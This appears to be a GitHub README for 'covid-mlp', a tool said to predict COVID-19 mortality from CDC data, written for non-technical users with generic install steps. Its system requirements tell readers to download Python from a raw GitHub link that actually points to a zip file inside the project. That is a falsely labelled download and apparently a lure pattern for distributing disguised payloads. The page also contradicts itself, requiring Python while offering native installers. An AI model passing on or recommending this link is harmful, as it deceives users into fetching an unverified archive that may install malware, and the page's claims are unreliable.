🎉 covid-mlp - Predict COVID-19 Mortality Rates Easily

📥 Download the Software

🚀 Getting Started

Welcome to the covid-mlp project! This software predicts COVID-19 mortality rates using a shallow neural network built with CDC data. It is designed for users without a technical background, allowing you to harness machine learning for serious public health issues.

💻 System Requirements

Before you begin, ensure your system meets these requirements:

• Operating System: Windows 10 or newer, macOS Catalina or newer, or a modern Linux distribution.
• RAM: At least 4 GB is recommended.
• Storage: Ensure you have 500 MB of free space.
• Python: Version 3.6 or newer installed on your system.

If you do not have Python installed, you can easily download it from https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip.

📊 Features

• Easy Data Processing: The software processes CDC data without needing any coding skills.
• Neural Network: Uses a shallow neural network model to predict mortality rates accurately.
• User-Friendly Interface: A graphical user interface (GUI) guides you through the steps.
• Quick Predictions: Get results in minutes instead of hours.

📦 Download & Install

1. Visit the Releases Page: Go to the Releases page to find the latest version of the software.

2. Choose Your Version: You will see a list of available versions. Look for the most recent release version.

3. Download the Installer: Click on the installer file suitable for your operating system.

4. Run the Installer: Follow these steps to run the installer:

   • For Windows, double-click the downloaded .exe file.
   • For macOS, open the .dmg file and drag the app to your Applications folder.
   • For Linux, run the downloaded package using your package manager or terminal.

5. Launch the Application: After installation, find the application in your programs or applications folder. Click to open it.

📊 How to Use

1. Load Data: Click on the “Load Data” button to upload your CDC dataset. The software supports CSV format.

2. Select Prediction Options: Adjust settings for the model, like the number of simulations, if needed.

3. Run Predictions: Hit the “Predict” button. The predictions will take a few moments.

4. View Results: Once the predictions are complete, results will display on the screen with options to save your results.

📄 Additional Resources

• Documentation: Comprehensive user guide available in the software or online.
• Community Support: Join discussions on topics related to COVID-19 predictions. Check our GitHub Discussions.

🙌 Contribute

If you're interested in supporting our project, we welcome contributions. You can help by:

• Reporting bugs.
• Improving documentation.
• Suggesting new features.

Feel free to submit issues or pull requests via GitHub.

✔️ License

This project is licensed under the MIT License. You can freely use and share it with others, respecting the terms of the license.

🛠️ Acknowledgments

• Thanks to the CDC for providing essential data.
• Special thanks to all contributors who made this project possible.

📞 Contact

For any questions, please reach out via the issues section on GitHub. We are happy to help!